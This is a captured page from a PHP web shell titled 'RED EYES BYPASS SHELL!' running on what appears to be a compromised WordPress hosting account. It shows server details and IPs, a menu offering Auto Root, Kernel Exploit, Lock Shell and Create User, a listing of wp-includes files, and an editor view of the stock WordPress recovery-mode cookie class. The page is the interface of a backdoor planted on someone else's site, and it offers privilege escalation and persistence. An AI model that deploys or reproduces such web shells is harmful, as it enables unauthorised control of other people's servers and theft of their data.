Linux webm011.cluster123.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.123.20.11 | : 216.73.217.100
Cant Read [ /etc/named.conf ]
sergemamey
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
sergemamey /
www /
wp-includes /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwx---r-x
Text
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwx---r-x
customize
[ DIR ]
drwx---r-x
images
[ DIR ]
drwx---r-x
js
[ DIR ]
drwx---r-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwx---r-x
rest-api
[ DIR ]
drwx---r-x
theme-compat
[ DIR ]
drwx---r-x
admin-bar.php
32.69
KB
-rw-r--r--
author-template.php
16.63
KB
-rw-r--r--
block-editor.php
18.37
KB
-rw-r--r--
block-patterns.php
4.19
KB
-rw-r--r--
cache-compat.php
1.02
KB
-rw-r--r--
category-template.php
54.4
KB
-rw-r--r--
class-feed.php
529
B
-rw-r--r--
class-http.php
373
B
-rw-r--r--
class-json.php
42.42
KB
-rw-r--r--
class-oembed.php
407
B
-rw-r--r--
class-pop3.php
20.35
KB
-rw-r--r--
class-walker-category-dropdown.php
2.41
KB
-rw-r--r--
class-walker-category.php
8.27
KB
-rw-r--r--
class-walker-comment.php
13.88
KB
-rw-r--r--
class-walker-nav-menu.php
9.13
KB
-rw-r--r--
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
class-wp-admin-bar.php
17.05
KB
-rw-r--r--
class-wp-ajax-response.php
5.12
KB
-rw-r--r--
class-wp-application-passwords.php
11.95
KB
-rw-r--r--
class-wp-block-editor-context.php
890
B
-rw-r--r--
class-wp-block-list.php
4.61
KB
-rw-r--r--
class-wp-block-parser.php
14.86
KB
-rw-r--r--
class-wp-block-pattern-categories-registry.php
4.43
KB
-rw-r--r--
class-wp-block-patterns-registry.php
6.16
KB
-rw-r--r--
class-wp-block-styles-registry.php
4.88
KB
-rw-r--r--
class-wp-block-supports.php
5.17
KB
-rw-r--r--
class-wp-block-template.php
1.77
KB
-rw-r--r--
class-wp-block-type-registry.php
4.87
KB
-rw-r--r--
class-wp-block-type.php
9.27
KB
-rw-r--r--
class-wp-comment-query.php
46.33
KB
-rw-r--r--
class-wp-comment.php
9.1
KB
-rw-r--r--
class-wp-customize-control.php
25.11
KB
-rw-r--r--
class-wp-customize-manager.php
196.56
KB
-rw-r--r--
class-wp-customize-nav-menus.php
55.69
KB
-rw-r--r--
class-wp-customize-panel.php
10.19
KB
-rw-r--r--
class-wp-customize-section.php
10.72
KB
-rw-r--r--
class-wp-customize-setting.php
29.08
KB
-rw-r--r--
class-wp-customize-widgets.php
69.52
KB
-rw-r--r--
class-wp-date-query.php
34.62
KB
-rw-r--r--
class-wp-dependency.php
2.45
KB
-rw-r--r--
class-wp-editor.php
69.54
KB
-rw-r--r--
class-wp-embed.php
15.57
KB
-rw-r--r--
class-wp-error.php
7.13
KB
-rw-r--r--
class-wp-fatal-error-handler.php
7.4
KB
-rw-r--r--
class-wp-feed-cache-transient.php
2.5
KB
-rw-r--r--
class-wp-feed-cache.php
970
B
-rw-r--r--
class-wp-hook.php
15.32
KB
-rw-r--r--
class-wp-http-cookie.php
7.21
KB
-rw-r--r--
class-wp-http-curl.php
12.1
KB
-rw-r--r--
class-wp-http-encoding.php
6.51
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.4
KB
-rw-r--r--
class-wp-http-proxy.php
5.82
KB
-rw-r--r--
class-wp-http-requests-hooks.php
1.94
KB
-rw-r--r--
class-wp-http-requests-response.php
4.24
KB
-rw-r--r--
class-wp-http-response.php
2.88
KB
-rw-r--r--
class-wp-http-streams.php
16.26
KB
-rw-r--r--
class-wp-http.php
38.97
KB
-rw-r--r--
class-wp-image-editor-gd.php
15.29
KB
-rw-r--r--
class-wp-image-editor-imagick.php
26.33
KB
-rw-r--r--
class-wp-image-editor.php
16.26
KB
-rw-r--r--
class-wp-list-util.php
6.83
KB
-rw-r--r--
class-wp-locale-switcher.php
4.9
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.76
KB
-rw-r--r--
class-wp-meta-query.php
29.47
KB
-rw-r--r--
class-wp-metadata-lazyloader.php
5.23
KB
-rw-r--r--
class-wp-network-query.php
18.72
KB
-rw-r--r--
class-wp-network.php
12.09
KB
-rw-r--r--
class-wp-object-cache.php
13.23
KB
-rw-r--r--
class-wp-oembed-controller.php
6.67
KB
-rw-r--r--
class-wp-oembed.php
29.98
KB
-rw-r--r--
class-wp-paused-extensions-storage.php
4.81
KB
-rw-r--r--
class-wp-post-type.php
20.72
KB
-rw-r--r--
class-wp-post.php
6.27
KB
-rw-r--r--
class-wp-recovery-mode-cookie-service.php
6.31
KB
-rw-r--r--
class-wp-recovery-mode-email-service.php
10.41
KB
-rw-r--r--
class-wp-recovery-mode-key-service.php
4.17
KB
-rw-r--r--
class-wp-recovery-mode-link-service.php
3.32
KB
-rw-r--r--
class-wp-recovery-mode.php
11.11
KB
-rw-r--r--
class-wp-rewrite.php
61.49
KB
-rw-r--r--
class-wp-session-tokens.php
7.25
KB
-rw-r--r--
class-wp-simplepie-file.php
3.18
KB
-rw-r--r--
class-wp-simplepie-sanitize-kses.php
1.73
KB
-rw-r--r--
class-wp-site-query.php
29.65
KB
-rw-r--r--
class-wp-tax-query.php
18.99
KB
-rw-r--r--
class-wp-taxonomy.php
13.41
KB
-rw-r--r--
class-wp-term-query.php
37.18
KB
-rw-r--r--
class-wp-text-diff-renderer-inline.php
716
B
-rw-r--r--
class-wp-text-diff-renderer-table.php
16.4
KB
-rw-r--r--
class-wp-theme-json-resolver.php
14.06
KB
-rw-r--r--
class-wp-theme-json-schema.php
4.2
KB
-rw-r--r--
class-wp-theme-json.php
61.31
KB
-rw-r--r--
class-wp-theme.php
53.38
KB
-rw-r--r--
class-wp-user-meta-session-tokens.php
2.92
KB
-rw-r--r--
class-wp-user-query.php
37.18
KB
-rw-r--r--
class-wp-user-request.php
2.14
KB
-rw-r--r--
class-wp-widget-factory.php
3.24
KB
-rw-r--r--
class-wp-xmlrpc-server.php
207.94
KB
-rw-r--r--
class.wp-scripts.php
18.5
KB
-rw-r--r--
comment-template.php
93.81
KB
-rw-r--r--
default-constants.php
10.02
KB
-rw-r--r--
default-filters.php
30.73
KB
-rw-r--r--
default-widgets.php
2.17
KB
-rw-r--r--
feed-atom.php
2.98
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
3.97
KB
-rw-r--r--
functions.wp-scripts.php
13.12
KB
-rw-r--r--
global-styles-and-settings.php
6.21
KB
-rw-r--r--
https-detection.php
6.7
KB
-rw-r--r--
https-migration.php
4.62
KB
-rw-r--r--
ms-blogs.php
24.58
KB
-rw-r--r--
ms-default-constants.php
4.65
KB
-rw-r--r--
ms-default-filters.php
6.35
KB
-rw-r--r--
ms-files.php
2.59
KB
-rw-r--r--
ms-functions.php
91.92
KB
-rw-r--r--
ms-load.php
19.32
KB
-rw-r--r--
ms-network.php
3.58
KB
-rw-r--r--
ms-site.php
38.68
KB
-rw-r--r--
post-formats.php
6.91
KB
-rw-r--r--
post-template.php
63.44
KB
-rw-r--r--
revision.php
22.93
KB
-rw-r--r--
rss-functions.php
255
B
-rw-r--r--
script-loader.php
110.87
KB
-rw-r--r--
spl-autoload-compat.php
441
B
-rw-r--r--
template-loader.php
3.27
KB
-rw-r--r--
wp-db.php
106.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-recovery-mode-cookie-service.php
<?php /** * Error Protection API: WP_Recovery_Mode_Cookie_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to set, validate, and clear cookies that identify a Recovery Mode session. * * @since 5.2.0 */ final class WP_Recovery_Mode_Cookie_Service { /** * Checks whether the recovery mode cookie is set. * * @since 5.2.0 * * @return bool True if the cookie is set, false otherwise. */ public function is_cookie_set() { return ! empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ); } /** * Sets the recovery mode cookie. * * This must be immediately followed by exiting the request. * * @since 5.2.0 */ public function set_cookie() { $value = $this->generate_cookie(); /** * Filters the length of time a Recovery Mode cookie is valid for. * * @since 5.2.0 * * @param int $length Length in seconds. */ $length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS ); $expire = time() + $length; setcookie( RECOVERY_MODE_COOKIE, $value, $expire, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true ); if ( COOKIEPATH !== SITECOOKIEPATH ) { setcookie( RECOVERY_MODE_COOKIE, $value, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true ); } } /** * Clears the recovery mode cookie. * * @since 5.2.0 */ public function clear_cookie() { setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); } /** * Validates the recovery mode cookie. * * @since 5.2.0 * * @param string $cookie Optionally specify the cookie string. * If omitted, it will be retrieved from the super global. * @return true|WP_Error True on success, error object on failure. */ public function validate_cookie( $cookie = '' ) { if ( ! $cookie ) { if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) { return new WP_Error( 'no_cookie', __( 'No cookie present.' ) ); } $cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ]; } $parts = $this->parse_cookie( $cookie ); if ( is_wp_error( $parts ) ) { return $parts; } list( , $created_at, $random, $signature ) = $parts; if ( ! ctype_digit( $created_at ) ) { return new WP_Error( 'invalid_created_at', __( 'Invalid cookie format.' ) ); } /** This filter is documented in wp-includes/class-wp-recovery-mode-cookie-service.php */ $length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS ); if ( time() > $created_at + $length ) { return new WP_Error( 'expired', __( 'Cookie expired.' ) ); } $to_sign = sprintf( 'recovery_mode|%s|%s', $created_at, $random ); $hashed = $this->recovery_mode_hash( $to_sign ); if ( ! hash_equals( $signature, $hashed ) ) { return new WP_Error( 'signature_mismatch', __( 'Invalid cookie.' ) ); } return true; } /** * Gets the session identifier from the cookie. * * The cookie should be validated before calling this API. * * @since 5.2.0 * * @param string $cookie Optionally specify the cookie string. * If omitted, it will be retrieved from the super global. * @return string|WP_Error Session ID on success, or error object on failure. */ public function get_session_id_from_cookie( $cookie = '' ) { if ( ! $cookie ) { if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) { return new WP_Error( 'no_cookie', __( 'No cookie present.' ) ); } $cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ]; } $parts = $this->parse_cookie( $cookie ); if ( is_wp_error( $parts ) ) { return $parts; } list( , , $random ) = $parts; return sha1( $random ); } /** * Parses the cookie into its four parts. * * @since 5.2.0 * * @param string $cookie Cookie content. * @return array|WP_Error Cookie parts array, or error object on failure. */ private function parse_cookie( $cookie ) { $cookie = base64_decode( $cookie ); $parts = explode( '|', $cookie ); if ( 4 !== count( $parts ) ) { return new WP_Error( 'invalid_format', __( 'Invalid cookie format.' ) ); } return $parts; } /** * Generates the recovery mode cookie value. * * The cookie is a base64 encoded string with the following format: * * recovery_mode|iat|rand|signature * * Where "recovery_mode" is a constant string, * iat is the time the cookie was generated at, * rand is a randomly generated password that is also used as a session identifier * and signature is an hmac of the preceding 3 parts. * * @since 5.2.0 * * @return string Generated cookie content. */ private function generate_cookie() { $to_sign = sprintf( 'recovery_mode|%s|%s', time(), wp_generate_password( 20, false ) ); $signed = $this->recovery_mode_hash( $to_sign ); return base64_encode( sprintf( '%s|%s', $to_sign, $signed ) ); } /** * Gets a form of `wp_hash()` specific to Recovery Mode. * * We cannot use `wp_hash()` because it is defined in `pluggable.php` which is not loaded until after plugins are loaded, * which is too late to verify the recovery mode cookie. * * This tries to use the `AUTH` salts first, but if they aren't valid specific salts will be generated and stored. * * @since 5.2.0 * * @param string $data Data to hash. * @return string|false The hashed $data, or false on failure. */ private function recovery_mode_hash( $data ) { if ( ! defined( 'AUTH_KEY' ) || AUTH_KEY === 'put your unique phrase here' ) { $auth_key = get_site_option( 'recovery_mode_auth_key' ); if ( ! $auth_key ) { if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $auth_key = wp_generate_password( 64, true, true ); update_site_option( 'recovery_mode_auth_key', $auth_key ); } } else { $auth_key = AUTH_KEY; } if ( ! defined( 'AUTH_SALT' ) || AUTH_SALT === 'put your unique phrase here' || AUTH_SALT === $auth_key ) { $auth_salt = get_site_option( 'recovery_mode_auth_salt' ); if ( ! $auth_salt ) { if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $auth_salt = wp_generate_password( 64, true, true ); update_site_option( 'recovery_mode_auth_salt', $auth_salt ); } } else { $auth_salt = AUTH_SALT; } $secret = $auth_key . $auth_salt; return hash_hmac( 'sha1', $data, $secret ); } }
Close